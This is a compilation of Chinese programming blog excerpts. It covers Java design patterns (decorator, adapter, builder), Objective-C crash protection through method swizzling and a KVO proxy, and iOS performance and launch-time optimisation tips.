public void accept(GetLoginResponse response) throws Exception {
/**
* cache
*/
}
})).compose(RxTransformerHelper.<GetLoginResponse>ioToUI()).firstOrError().toObservable();
return observable;
}
}
//客户端执行,不需要考虑具体实现
TestApiRepository.getInstance().getLogin(new GetLoginParams()).subscribe(new BaseRxNetworkResponseObserver<GetLoginResponse>() {
@Override
public void onResponse(GetLoginResponse getLoginResponse) {
}
@Override
public void onResponseFail(Exception e) {
}
@Override
protected void onBeforeResponseOperation() {
}
@Override
public void onSubscribe(Disposable d) {
add(d);
}
});
动态地给一个对象添加一些额外的职责。就增加功能来说, 装饰模式相比生成子类更为灵活。该模式以对客户端透明的方式扩展对象的功能。
/**
* 装饰类Component,所有类的父类
*/
public interface Component {
void sampleOperation();
}
/**
* 实现抽象部件,具体装饰过程还是交给子类实现
*/
public class Decorator implements Component {
private Component component;
public Decorator(Component component){
this.component = component;
}
@Override
public void sampleOperation() {
component.sampleOperation();
}
}
/**
* 需要装扮的类
*/
public class ConcreteComponent implements Component{
@Override
public void sampleOperation() {
}
}
/**
* 具体实现
*/
public class ConcreateDecoratorA extends Decorator{
public ConcreateDecoratorA(Component component) {
super(component);
}
@Override
public void sampleOperation() {
super.sampleOperation();
addPingShengm();
}
/**
* 新增业务方法
*/
private void addPingShengm() {
System.out.println("添加绘彩1");
}
}
/**
* 具体实现
*/
public class ConcreateDecoratorB extends Decorator{
public ConcreateDecoratorB(Component component) {
super(component);
}
@Override
public void sampleOperation() {
super.sampleOperation();
addPingShengm();
}
/**
* 新增业务方法
*/
private void addPingShengm() {
System.out.println("添加绘彩2");
}
}
举一个实际例子:
工厂需要产生多种水杯,有瓶身绘彩,有不锈钢盖被子,也有不锈钢盖和瓶身绘彩的杯子。(等各种需求)
假如说采用继承子类的方式。如下code:
/**
* 创建水杯的接口包含四个方法,底座,盖子,瓶身,一个实现功能product
*/
public interface IShuiBei {
void dizuo();
void gaizi();
void pingsheng();
void product();
}
/**
* 水晶杯实现类
*/
public class ShuiJInBei implements IShuiBei,Component {
@Override
public void dizuo() {
System.out.println("水晶底座");
}
@Override
public void gaizi() {
System.out.println("水晶盖子");
}
@Override
public void pingsheng() {
System.out.println("水晶瓶身");
}
@Override
public void product() {
dizuo();
gaizi();
pingsheng();
}
}
/**
* 添加绘彩的水晶杯
*/
public class HuiCaiShuiJinBei extends ShuiJInBei{
@Override
public void pingsheng() {
super.pingsheng();
System.out.println("添加绘彩");
}
}
/**
* 不锈钢杯子盖的水晶杯
*/
public class HuiJinGangGaiBei extends ShuiJInBei{
@Override
public void gaizi() {
System.out.println("不锈钢杯盖");
}
}
/**
* 不锈钢杯子盖的水晶杯带彩绘
*/
public class HuiCaiShuiJinGangGaiBei extends ShuiJInBei{
@Override
public void gaizi() {
System.out.println("不锈钢杯盖");
}
@Override
public void pingsheng() {
super.pingsheng();
System.out.println("添加绘彩");
}
}
//运行
HuiCaiShuiJinBei huiCaiShuiJinBei = new HuiCaiShuiJinBei();
HuiCaiShuiJinGangGaiBei huiCaiShuiJinGangGaiBei = new HuiCaiShuiJinGangGaiBei();
ShuiJInBei shuiJInBei = new ShuiJInBei();
huiCaiShuiJinBei.product();
huiCaiShuiJinGangGaiBei.product();
shuiJInBei.product();
一共创建三个子类,一个父类,当然如果需求更多的话,子类会不断的增加。
装饰类实现如上功能code:
/**
* 实现抽象部件
*/
public class ShuijinbeiDecorator implements IShuiBei{
IShuiBei iShuiBei;
public ShuijinbeiDecorator(IShuiBei iShuiBei){
this.iShuiBei = iShuiBei;
}
@Override
public void dizuo() {
iShuiBei.dizuo();
}
@Override
public void gaizi() {
iShuiBei.gaizi();
}
@Override
public void pingsheng() {
iShuiBei.pingsheng();
}
@Override
public void product() {
dizuo();
gaizi();
pingsheng();
}
}
/**
* 钢盖实现类
*/
public class GangGaiDecorator extends ShuijinbeiDecorator{
public GangGaiDecorator(IShuiBei iShuiBei) {
super(iShuiBei);
}
@Override
public void gaizi() {
System.out.println("不锈钢杯盖");
}
}
/**
* 彩绘实现类
*/
public class CaihuiDecorator extends ShuijinbeiDecorator{
public CaihuiDecorator(IShuiBei iShuiBei) {
super(iShuiBei);
}
@Override
public void pingsheng() {
super.pingsheng();
System.out.println("添加绘彩");
}
}
//运行
IShuiBei iShuiBei = new ShuiJInBei();
iShuiBei.product();
iShuiBei = new CaihuiDecorator(iShuiBei);
iShuiBei.product();
iShuiBei = new GangGaiDecorator(iShuiBei);
iShuiBei.product();
iShuiBei = new ShuiJInBei();
iShuiBei = new GangGaiDecorator(iShuiBei);
iShuiBei.product();
看到如上代码你大概会恍然大悟,装饰模式如果在你的子类特别多,用装饰模式很好,但是比较容易出错哦。
由于使用装饰模式,可以比使用继承关系需要较少数目的类。使用较少的类,当然使设计比较易于进行。但是,在另外一方面,使用装饰模式会产生比使用继承关系所产生的更多的对象。而更多的对象会使得查找错误更为困难,特别是这些对象在看上去极为相似的时候。
context类簇
收起阅读 »将一个接口转换成客户希望的另一个接口,适配器模式使接口不兼容的那些类可以一起工作,其别名为包装器(Wrapper)。
定义:
是把适配的类的api转化成为目标类的api。
adapter是为了让adaptee与Target发生关系建立的
adapter 实现Target接口,来继承Adaptee,实现需要实现的方法
代码:
//适配接口
public interface Target {
void request();
}
//需要适配的对象
public class Adaptee {
public void SpecialRequest(){
System.out.println("SpecialRequest");
}
}
//适配器
public class Adapter extends Adaptee implements Target {
@Override
public void request() {
specialRequest();
}
}
//运行代码
Target target = new Adapter();
target.request();
定义:与类的适配器模式一样,对象的适配器模式把被适配的类的api转化为目标类的api,与类的适配器模式不同的是,对象的适配器模式不是使用继承关系连接到Adaptee类,而是通过委派关系连接到adaptee类。
//适配接口
public interface Target {
void request();
}
//需要适配的对象
public class Adaptee {
public void SpecialRequest(){
System.out.println("SpecialRequest");
}
}
//适配器
public class Adapter implements Target {
Adaptee adaptee;
public Adapter(Adaptee adaptee){
this.adaptee = adaptee;
}
@Override
public void request() {
adaptee.specialRequest();
}
}
//运行代码
Target target = new Adapter(new Adaptee());
target.request();
如上两个对比,就能看出类适配器和对象适配器的区别。
对象适配器:持有一个对象来实现适配器模式
类适配器:通过继承来实现适配器模式。
adaper在Android中的运用
listview
收起阅读 »建造者模式是较为复杂的创建型模式,将组件和组件的组件过程分开,然后一步一步建造一个复杂的对象。所以建造者模式又叫生成器模式。它允许用户在不知道内部构建细节的情况下,非常精细地控制对象构建流程。该模式是为了将构建过程非常复杂的对象进行拆分,让它与它的部件解耦,提升代码的可读性以及扩展性。
构造一个对象需要很多参数的时候,并且参数的个数或者类型不固定的时候
例:
//创建复杂对象Product
public class Product {
private String partA;
private String partB;
private String partC;
public String getPartA() {
return partA;
}
public void setPartA(String partA) {
this.partA = partA;
}
public String getPartB() {
return partB;
}
public void setPartB(String partB) {
this.partB = partB;
}
public String getPartC() {
return partC;
}
public void setPartC(String partC) {
this.partC = partC;
}
}
//创建抽象类Builder
public abstract class Builder {
protected Product product = new Product();
public abstract void builderPartA();
public abstract void builderPartB();
public abstract void builderPartC();
public Product getResult() {
return product;
}
}
//创建实现类ConcreateBuilder
public class ConcreateBuilder extends Builder {
@Override
public void builderPartA() {
}
@Override
public void builderPartB() {
}
@Override
public void builderPartC() {
}
}
//创建组装对象Director
public class Director {
private Builder builder;
public Director(Builder builder){
this.builder = builder;
}
public void setBuilder(Builder builder) {
this.builder = builder;
}
public Product constract(){
builder.builderPartA();
builder.builderPartB();
builder.builderPartC();
return builder.getResult();
}
}
//运行
Builder builder = new ConcreateBuilder();
Director director = new Director(builder);
Product product = director.constract();
缺点:
1.AlertDialog
2.Glide/okhttp
收起阅读 »1.unrecognized selector crash (没找到对应的函数)
2.KVO crash :(KVO的被观察者dealloc时仍然注册着KVO导致的crash,添加KVO重复添加观察者或重复移除观察者 )
3.NSNotification crash:(当一个对象添加了notification之后,如果dealloc的时候,仍然持有notification)
4.NSTimer类型crash:(需要在合适的时机invalidate 定时器,否则就会由于定时器timer强引用target的关系导致 target不能被释放,造成内存泄露,甚至在定时任务触发时导致crash)
5.Container类型crash:(数组,字典,常见的越界,插入,nil)
6.野指针类型的crash
7.非主线程刷UI类型:(在非主线程刷UI将会导致app运行crash)……
unrecognized selector类型的crash,通常是因为一个对象调用了一个不属于它方法的方法导致的。而我们可以从方法调用的过程中,寻找到避免程序崩溃的突破口。
方法调用的过程是哪样的呢?
方法调用的过程--调用实例方法
1.在对象的<缓存方法列表> 中去找要调用的方法,找到直接执行其实现。
2.对象的<缓存方法列表> 里没找到,就去<类的方法列表>里找,找到了就执行其实现。
3.还没找到,说明这个类自己没有了,就会通过isa去向其父类里执行1、2。
4.如果找到了根类还没找到,那么就是没有了,会转向一个拦截调用的方法,可以自己在拦截调用方法里面做一些处理。
5.如果没有在拦截调用里做处理,那么就会报错崩溃。
方法调用的过程--调用类方法
1.在类的<缓存方法列表> 中去找要调用的方法,找到直接执行其实现。
2.类的<缓存方法列表> 里没找到,就去里找,找到了就执行其实现。
3.还没找到,说明这个类自己没有了,就会通过isa去meta类的父类里执行1、2。
4.如果找到了根meta类还没找到,那么就是没有了,会转向一个拦截调用的方法,可以自己在拦截调用方法里面做一些处理。
5.如果没有在拦截调用里做处理,那么就会报错崩溃。
从上面的方法调用过程可以看出,在找不到调用的方法程序崩溃之前,我们可以通过重写NSObject方法进行拦截调用,阻止程序的crash。这里面就用到了消息的转发机制:
runtime提供了3种方式去补救:
1:调用resolveInstanceMethod给个机会让类添加这个实现这个函数
2:调用forwardingTargetForSelector让别的对象去执行这个函数
3:调用forwardInvocation(函数执行器)灵活的将目标函数以及其他形式执行。
当调用方法的消息转发给该类后,该类也没有这个方法,回调用resolveInstanceMethod:方法,在消息接受类中重写方法,返回YES,表明该消息已经处理,这样就不会崩溃了。
重写的resolveInstanceMethod:方法中一定要有动态添加方法的处理,不然会继续走消息转发的流程,从而造成死循环。
#import
@interface XZUnrecognizedSelectorSolveObject : NSObject
@property (nonatomic, weak) NSObject *objc;
@end
#Import "XZUnrecognizedSelectorSolveObject.h"
#import
@interface XZUnrecognizedSelectorSolveObject ()
@end
@implementation XZUnrecognizedSelectorSolveObject
+ (BOOL)resolveInstanceMethod:(SEL)sel {
// 如果没有动态添加方法的话,还会调用forwardingTargetForSelector:方法,从而造成死循环
class_addMethod([self class], sel, (IMP)addMethod, "v@:@");
return YES;
}
id addMethod(id self, SEL _cmd) {
NSLog(@"WOCrashProtector: unrecognized selector: %@", NSStringFromSelector(_cmd));
return 0;
}
@end
实现原理:在分类中自定义一个xz_forwardingTargetForSelector:方法,然后替换掉系统的forwardingTargetForSelector:方法
#import
NS_ASSUME_NONNULL_BEGIN
@interface NSObject (SelectorCrash)
+ (void)xz_enableSelectorProtector;
@end
NS_ASSUME_NONNULL_END
#import "NSObject+SelectorCrash.h"
#import
#import "NSObject+XZSwizzle.h"
#Import "XZUnrecognizedSelectorSolveObject.h"
@implementation NSObject (SelectorCrash)
+ (void)xz_enableSelectorProtector {
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
NSObject *object = [[NSObject alloc] init];
[object xz_instanceSwizzleMethod:@selector(forwardingTargetForSelector:) replaceMethod:@selector(xz_forwardingTargetForSelector:)];
});
}
- (id)xz_forwardingTargetForSelector:(SEL)aSelector {
// 判断某个类是否有某个实例方法,有则返回YES,否则返回NO
if (class_respondsToSelector([self class], @selector(forwardInvocation:))) {
// 有forwardInvocation实例方法
IMP impOfNSObject = class_getMethodImplementation([NSObject class], @selector(forwardInvocation:));
IMP imp = class_getMethodImplementation([self class], @selector(forwardInvocation:));
if (imp != impOfNSObject) {
return nil;
}
}
// 新建桩类转发消息
XZUnrecognizedSelectorSolveObject *solveObject = [XZUnrecognizedSelectorSolveObject new];
solveObject.objc = self;
return solveObject;
}
@end
交换方法代码 如下:
#import
NS_ASSUME_NONNULL_BEGIN
@interface NSObject (XZSwizzle)
/**
对类方法进行拦截并替换
@param originalSelector 原有类方法
@param replaceSelector 自定义类替换方法
*/
+ (void)xz_classSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;
/**
对类方法进行拦截并替换
@param kClass 具体的类
@param originalSelector 原有类方法
@param replaceSelector 自定义类替换方法
*/
+ (void)xz_classSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;
/**
对实例方法进行拦截并替换
@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;
/**
对实例方法进行拦截并替换
@param kClass 具体的类
@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector;
@end
NS_ASSUME_NONNULL_END
#import "NSObject+XZSwizzle.h"
#import
@implementation NSObject (XZSwizzle)
/**
对类方法进行拦截并替换
@param originalSelector 类原有方法
@param replaceSelector 自定义替换方法
*/
+ (void)xz_classSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {
Class class = [self class];
[self xz_classSwizzleMethodWithClass:class orginalMethod:originalSelector replaceMethod:replaceSelector];
}
/**
对类方法进行拦截并替换
@param kClass 具体的类
@param originalSelector 原有类方法
@param replaceSelector 自定义类替换方法
*/
+ (void)xz_classSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {
// Method中包含IMP函数指针,通过替换IMP,使SEL调用不同函数实现
Method originalMethod = class_getClassMethod(kClass, originalSelector);
Method replaceMethod = class_getClassMethod(kClass, replaceSelector);
// 获取MetaClass (交换、添加等类方法需要用metaClass)
Class metaClass = objc_getMetaClass(NSStringFromClass(kClass).UTF8String);
// class_addMethod:如果发现方法已经存在,会失败返回,也可以用来做检查用,我们这里是为了避免源方法没有实现的情况;如果方法没有存在,我们则先尝试添加被替换的方法的实现
BOOL didAddMethod = class_addMethod(metaClass, originalSelector, method_getImplementation(replaceMethod), method_getTypeEncoding(replaceMethod));
if (didAddMethod) {
// 添加成功(原方法未实现,为防止crash,需要将刚添加的原方法替换)
class_replaceMethod(metaClass, replaceSelector, method_getImplementation(originalMethod), method_getTypeEncoding(originalMethod));
} else {
// 添加失败(原本就有原方法, 直接交换两个方法)
method_exchangeImplementations(originalMethod, replaceMethod);
}
}
/**
对实例方法进行拦截并替换
@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {
Class class = [self class];
[self xz_instanceSwizzleMethodWithClass:class orginalMethod:originalSelector replaceMethod:replaceSelector];
}
/**
对实例方法进行拦截并替换
@param kClass 具体的类
@param originalSelector 原有实例方法
@param replaceSelector 自定义实例替换方法
*/
- (void)xz_instanceSwizzleMethodWithClass:(Class _Nonnull)kClass orginalMethod:(SEL _Nonnull)originalSelector replaceMethod:(SEL _Nonnull)replaceSelector {
Method originalMethod = class_getInstanceMethod(kClass, originalSelector);
Method replaceMethod = class_getInstanceMethod(kClass, replaceSelector);
// class_addMethod:如果发现方法已经存在,会失败返回,也可以用来做检查用,我们这里是为了避免源方法没有实现的情况;如果方法没有存在,我们则先尝试添加被替换的方法的实现
BOOL didAddMethod = class_addMethod(kClass, originalSelector, method_getImplementation(replaceMethod), method_getTypeEncoding(replaceMethod));
if (didAddMethod) {
// 添加成功(原方法未实现,为防止crash,需要将刚添加的原方法替换)
class_replaceMethod(kClass, replaceSelector, method_getImplementation(originalMethod), method_getTypeEncoding(originalMethod));
} else {
// 添加失败(原本就有原方法, 直接交换两个方法)
method_exchangeImplementations(originalMethod, replaceMethod);
}
}
@end
1:如果出现KVO重复添加观察或者移除观察者(KVO注册者不匹配的)情况,delegate,可以直接阻止这些非正常的操作。
2:被观察对象dealloc之前,可以通过delegate自动将与自己有关的KVO关系都注销掉,避免了KVO的被观察者dealloc时仍然注册着KVO导致的crash
#import
#import "XZKVOProxy.h"
NS_ASSUME_NONNULL_BEGIN
@interface NSObject (KVOCrash)
@property (nonatomic, strong) XZKVOProxy * _Nullable KVOProxy; // 自定义的kvo关系的代理
@end
NS_ASSUME_NONNULL_END
#import "NSObject+KVOCrash.h"
#import "XZKVOProxy.h"
#import
#pragma mark - NSObject + KVOCrash
static void *NSObjectKVOProxyKey = &NSObjectKVOProxyKey;
@implementation NSObject (KVOCrash)
- (XZKVOProxy *)KVOProxy {
id proxy = objc_getAssociatedObject(self, NSObjectKVOProxyKey);
if (nil == proxy) {
proxy = [XZKVOProxy kvoProxyWithObserver:self];
self.KVOProxy = proxy;
}
return proxy;
}
- (void)setKVOProxy:(XZKVOProxy *)proxy
{
objc_setAssociatedObject(self, NSObjectKVOProxyKey, proxy, OBJC_ASSOCIATION_RETAIN_NONATOMIC);
}
@end
2、在自定义代理类中建立一个map来维护KVO整个关系
#import
typedef void (^XZKVONitificationBlock)(id _Nullable observer, id _Nullable object, NSDictionary * _Nullable change);
/**
KVO配置类
用于存储KVO里面的相关设置参数
*/
@interface XZKVOInfo : NSObject
//- (instancetype _Nullable)initWithObserver:(id _Nonnull)object keyPath:(NSString * _Nullable)keyPath options:(NSKeyValueObservingOptions)options context:(void * _Nullable)context block:(XZKVONitificationBlock _Nonnull )block;
@end
NS_ASSUME_NONNULL_BEGIN
/**
KVO管理类
用于管理object添加和移除的消息,(通过Map进行KVO之间的关系)(字典应该也可以)
*/
@interface XZKVOProxy : NSObject
@property (nullable, nonatomic, weak, readonly) id observer;
+ (instancetype)kvoProxyWithObserver:(nullable id)observer;
- (void)xz_observer:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath options:(NSKeyValueObservingOptions)options context:(void * _Nullable)context block:(XZKVONitificationBlock)block;
- (void)xz_unobserver:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath;
- (void)xz_unobserver:(id _Nullable)object;
- (void)xz_unobserverAll;
@end
NS_ASSUME_NONNULL_END
#import "XZKVOProxy.h"
#import
@interface XZKVOInfo ()
{
@public
__weak id _object; // 观察对象
NSString *_keyPath;
NSKeyValueObservingOptions _options;
SEL _action;
void *_context;
XZKVONitificationBlock _block;
}
@end
@implementation XZKVOInfo
- (instancetype _Nullable)initWithObserver:(id _Nonnull)object
keyPath:(NSString * _Nullable)keyPath
options:(NSKeyValueObservingOptions)options
context:(void * _Nullable)context {
return [self initWithObserver:object keyPath:keyPath options:options block:NULL action:NULL context:context];
}
- (instancetype _Nullable)initWithObserver:(id _Nonnull)object
keyPath:(NSString * _Nullable)keyPath
options:(NSKeyValueObservingOptions)options
context:(void * _Nullable)context
block:(XZKVONitificationBlock)block {
return [self initWithObserver:object keyPath:keyPath options:options block:block action:NULL context:context];
}
- (instancetype _Nullable)initWithObserver:(id _Nonnull)object
keyPath:(NSString * _Nullable)keyPath
options:(NSKeyValueObservingOptions)options
block:(_Nullable XZKVONitificationBlock)block
action:(_Nullable SEL)action
context:(void * _Nullable)context {
if (self = [super init]) {
_object = object;
_block = block;
_keyPath = [keyPath copy];
_options = options;
_action = action;
_context = context;
}
return self;
}
@end
/**
此类用来管理混乱的KVO关系
让被观察对象持有一个KVO的delegate,所有和KVO相关的操作均通过delegate来进行管理,delegate通过建立一张map来维护KVO整个关系
好处:
不会crash如果出现KVO重复添加观察者或重复移除观察者(KVO注册观察者与移除观察者不匹配)的情况,delegate可以 1.直接阻止这些非正常的操作。
crash 2.被观察对象dealloc之前,可以通过delegate自动将与自己有关的KVO关系都注销掉,避免了KVO的被观察者dealloc时仍然注册着KVO导致的crash。
👇:
重复添加观察者不会crash,即不会走@catch
多次添加对同一个属性观察的观察者,系统方法内部会强应用这个观察者,同理即可remove该观察者同样次数。
*/
@interface XZKVOProxy ()
{
pthread_mutex_t _mutex;
NSMapTable *> *_objectInfoMap;///< map来维护KVO整个关系
}
@end
@implementation XZKVOProxy
+ (instancetype)kvoProxyWithObserver:(nullable id)observer {
return [[self alloc] initWithObserver:observer];
}
- (instancetype)initWithObserver:(nullable id)observer {
if (self = [super init]) {
_observer = observer;
_objectInfoMap = [[NSMapTable alloc] initWithKeyOptions:NSPointerFunctionsStrongMemory | NSPointerFunctionsObjectPointerPersonality valueOptions:NSPointerFunctionsStrongMemory | NSPointerFunctionsObjectPointerPersonality capacity:0];
}
return self;
}
/**
加锁、解锁
*/
- (void)lock {
pthread_mutex_lock(&_mutex);
}
- (void)unlock {
pthread_mutex_unlock(&_mutex);
}
/**
添加、删除 观察者
*/
- (void)xz_observer:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath options:(NSKeyValueObservingOptions)options context:(void * _Nullable)context block:(XZKVONitificationBlock)block {
// 断言
NSAssert(0 != keyPath.length && NULL != block, @"missing required parameters observe:%@ keyPath:%@ block:%p", object, keyPath, block);
if (nil == object || 0 == keyPath.length || NULL == block) {
return;
}
// 将观察的信息转成info对象
// self即kvoProxy是观察者;object是被观察者
XZKVOInfo *info = [[XZKVOInfo alloc] initWithObserver:self keyPath:keyPath options:options context:context block:block];
if (info) {
// 将info以key-value的形式存储到map中。key是被观察对象;value是观察信息的集合。
// 加锁
[self lock];
NSMutableSet *infos = [_objectInfoMap objectForKey:object];
BOOL _isExisting = NO;
for (XZKVOInfo *existingInfo in infos) {
if ([existingInfo->_keyPath isEqualToString:info->_keyPath]) {
// 观察者已存在
_isExisting = YES;
break;
}
}
if (_isExisting == YES) {
// 解锁
[self unlock];
return;
}
// // check for info existence
// XZKVOInfo *existingInfo = [infos member:info];
// if (nil != existingInfo) {
// // observation info already exists; do not observe it again
//
// // 解锁
// [self unlock];
// return;
// }
// 不存在
if (infos == nil) {
// 创建set,并将set添加进Map里
infos = [NSMutableSet set];
[_objectInfoMap setObject:infos forKey:object];
}
// 将要添加的KVOInfo添加进set里面
[infos addObject:info];
// 解锁
[self unlock];
// 将 kvoProxy 作为观察者;添加观察者
[object addObserver:self forKeyPath:info->_keyPath options:info->_options context:info->_context];
}
}
- (void)xz_unobserver:(id _Nullable)object keyPath:(NSString * _Nullable)keyPath {
// 将观察的信息转成info对象
// self即kvoProxy是观察者;object是被观察者
XZKVOInfo *info = [[XZKVOInfo alloc] initWithObserver:self keyPath:keyPath options:0 context:nil];
// 加锁
[self lock];
// 从map中获取object对应的KVOInfo集合
NSMutableSet *infos = [_objectInfoMap objectForKey:object];
BOOL _isExisting = NO;
for (XZKVOInfo *existingInfo in infos) {
if ([existingInfo->_keyPath isEqualToString:info->_keyPath]) {
// 观察者已存在
_isExisting = YES;
info = existingInfo;
break;
}
}
if (_isExisting == YES) {
// 存在
[infos removeObject:info];
// remove no longer used infos
if (0 == infos.count) {
[_objectInfoMap removeObjectForKey:object];
}
// 解锁
[self unlock];
// 移除观察者
[object removeObserver:self forKeyPath:info->_keyPath context:info->_context];
} else {
// 解锁
[self unlock];
}
// XZKVOInfo *registeredInfo = [infos member:info];
//
// if (nil != registeredInfo) {
// [infos removeObject:registeredInfo];
//
// // remove no longer used infos
// if (0 == infos.count) {
// [_objectInfoMap removeObjectForKey:object];
// }
//
// // 解锁
// [self unlock];
//
//
// // 移除观察者
// [object removeObserver:self forKeyPath:registeredInfo->_keyPath context:registeredInfo->_context];
// } else {
// // 解锁
// [self unlock];
// }
}
- (void)xz_unobserver:(id _Nullable)object {
// 加锁
[self lock];
// 从map中获取object对应的KVOInfo集合
NSMutableSet *infos = [_objectInfoMap objectForKey:object];
[_objectInfoMap removeObjectForKey:object];
// 解锁
[self unlock];
// 批量移除观察者
for (XZKVOInfo *info in infos) {
// 移除观察者
[object removeObserver:self forKeyPath:info->_keyPath context:info->_context];
}
}
- (void)xz_unobserverAll {
if (_objectInfoMap) {
// 加锁
[self lock];
// copy一份map,防止删除数据异常冲突
NSMapTable *objectInfoMaps = [_objectInfoMap copy];
[_objectInfoMap removeAllObjects];
// 解锁
[self unlock];
// 移除全部观察者
for (id object in objectInfoMaps) {
NSSet *infos = [objectInfoMaps objectForKey:object];
if (!infos || infos.count == 0) {
continue;
}
for (XZKVOInfo *info in infos) {
[object removeObserver:self forKeyPath:info->_keyPath context:info->_context];
}
}
}
}
- (void)observeValueForKeyPath:(NSString *)keyPath
ofObject:(id)object
change:(NSDictionary *)change
context:(void *)context {
// NSAssert(context, @"missing context keyPath:%@ object:%@ change:%@", keyPath, object, change);
NSLog(@"%@",keyPath);
NSLog(@"%@",object);
NSLog(@"%@",change);
NSLog(@"%@",context);
// 从map中获取object对应的KVOInfo集合
NSMutableSet *infos = [_objectInfoMap objectForKey:object];
BOOL _isExisting = NO;
XZKVOInfo *info;
for (XZKVOInfo *existingInfo in infos) {
if ([existingInfo->_keyPath isEqualToString:keyPath]) {
// 观察者已存在
_isExisting = YES;
info = existingInfo;
break;
}
}
if (_isExisting == YES && info) {
XZKVOProxy *proxy = info->_object;
id observer = proxy.observer;
XZKVONitificationBlock block = info->_block;
if (block) {
block(observer, object, change);
}
}
}
- (void)dealloc {
// 移除所有观察者
[self xz_unobserverAll];
// 销毁mutex
pthread_mutex_destroy(&_mutex);
}
@end
性能优化的几个点:
在了解卡顿优化相关的前头,首先要了解 CPU 和 GPU。
CPU(Central Processing Unit,中央处理器)
对象的创建和销毁、对象属性的调整、布局计算、文本的计算和排版、图片的格式转换和解码、图像的绘制(Core Graphics)都是通过 CPU 来做的。
GPU(Graphics Processing Unit,图形处理器)
纹理的渲染、
所要显示的信息一般是通过 CPU 计算或者解码,经过 CPU 的数据交给 GPU 渲染,渲染的工作在帧缓存的地方完成,然后从帧缓存读取数据到视频控制器上,最终显示在屏幕上。
在 iOS 中有双缓存机制,有前帧缓存、后帧缓存,这样渲染的效率很高。
尽量用轻量级的对象 如:不用处理事件的 UI 控件可以考虑使用 CALayer; 不要频繁地调用 UIView
的相关属性 如:frame、bounds、transform 等;尽量提前计算好布局,在有需要的时候一次性调整对应属性,不要多次修改; Autolayout
会比直接设置 frame 消耗更多的 CPU 资源;图片的 size 和 UIImageView 的 size 保持一致; 控制线程的最大并发数量; 耗时操作放入子线程;如文本的尺寸计算、绘制,图片的解码、绘制等;
- 尽量避免短时间内大量图片显示;
- GPU 能处理的最大纹理尺寸是 4096 * 4096,超过这个尺寸就会占用 CPU 资源,所以纹理不能超过这个尺寸;
- 尽量减少透视图的数量和层次;
- 减少透明的视图(alpha < 1),不透明的就设置 opaque 为 YES;
- 尽量避免离屏渲染;
在 OpenGL 中,GPU 有两种渲染方式:
On-Screen Rendering:当前屏幕渲染,在当前用于显示的屏幕缓冲区进行渲染操作;
Off-Screen Rendering:离屏渲染,在当前屏幕缓冲区外开辟新的缓冲区进行渲染操作;
离屏渲染消耗性能的原因:
离屏渲染的整个过程,需要多次切换上下文环境,先是从当前屏幕(On-Screen)切换到离屏(Off-Screen),渲染结束后,将离屏缓冲区的渲染结果显示到屏幕上,上下文环境从离屏切换到当前屏幕,这个过程会造成性能的消耗。
光栅化, layer.shouldRasterize = YES
遮罩, layer.mask
圆角,同时设置 layer.masksToBounds = YES
,layer.cornerRadius > 0
- 可以用 CoreGraphics 绘制裁剪圆角
阴影
- 如果设置了
layer.shadowPath
不会产生离屏渲染
1.CPU 处理;
2.网络请求;
3.定位;
4.图像渲染;
1.尽可能降低 CPU、GPU 功耗;
2.少用定时器;
3.优化 I/O 操作;
尽量不要频繁写入小数据,最好一次性批量写入;
读写大量重要数据时,可以用 dispatch_io,它提供了基于 GCD 的异步操作文件的 API,使用该 API 会优化磁盘访问;
数据量大时,用数据库管理数据;
4.网络优化;
减少、压缩网络数据(JSON 比 XML 文件性能更高); 若多次网络请求结果相同,尽量使用缓存; 使用断点续传,否则网络不稳定时可能多次传输相同的内容; 网络不可用时,不进行网络请求; 让用户可以取消长时间运行或者速度很慢的网络操作,设置合适的超时时间; 批量传输,如下载视频,不要传输很小的数据包,直接下载整个文件或者大块下载,然后慢慢展示;
5.定位优化
如果只是需要快速确定用户位置,用 CLLocationManager
的requestLocation
方法定位,定位完成后,定位硬件会自动断电;若不是导航应用,尽量不要实时更新位置,并为完毕就关掉定位服务; 尽量降低定位精度,如不要使用精度最高的 KCLLocationAccuracyBest
;需要后台定位时,尽量设置 pausesLocationUpdatesAutomatically
为 YES,若用户不怎么移动的时候,系统会自暂停位置更新;
App 的启动分为两种:冷启动(Cold Launch) 和热启动(Warm Launch)。
前者表示从零开始启动 App,后者表示 App 已经存在内存中,在后台依然活着,再次点击图标启动 App。
App 启动的优化主要是针对冷启动的优化,通过添加环境变量可以打印出 App 的启动时间分析:Edit Scheme -> Run -> Arguments -> Environment Variables 添加 DYLD_PRINT_STATISTICS
设置为 1。
这里打印的是在执行 main
函数之前的耗时信息,若想打印更详细的信息则添加环境变量为:DYLD_PRINT_STATISTICS_DETAILS
设置为 1。
冷启动可分为三个阶段:dyld 阶段、Runtime 阶段、main 阶段。
第一个阶段就是处理程序的镜像的阶段,第二个阶段是加载本程序的类、分类信息等等的 Runtime 阶段,最后是调用 main 函数阶段。
启动 App 时,dyld 会装载 App 的可执行文件,同时会递归加载所有依赖的动态库,当 dyld 把可执行文件、动态库都装载完毕后,会通知 Runtime 进行做下一步的处理。
map_images
进行可执行文件的内容解析和处理,再 load_images
中调用 call_load_methods
调用所有 Class 和 Category 的 load
方法,然后进行 objc 结构的初始化(注册类、初始化类对象等)。然后调用 C++ 静态初始化器和 __attribute_((constructor))
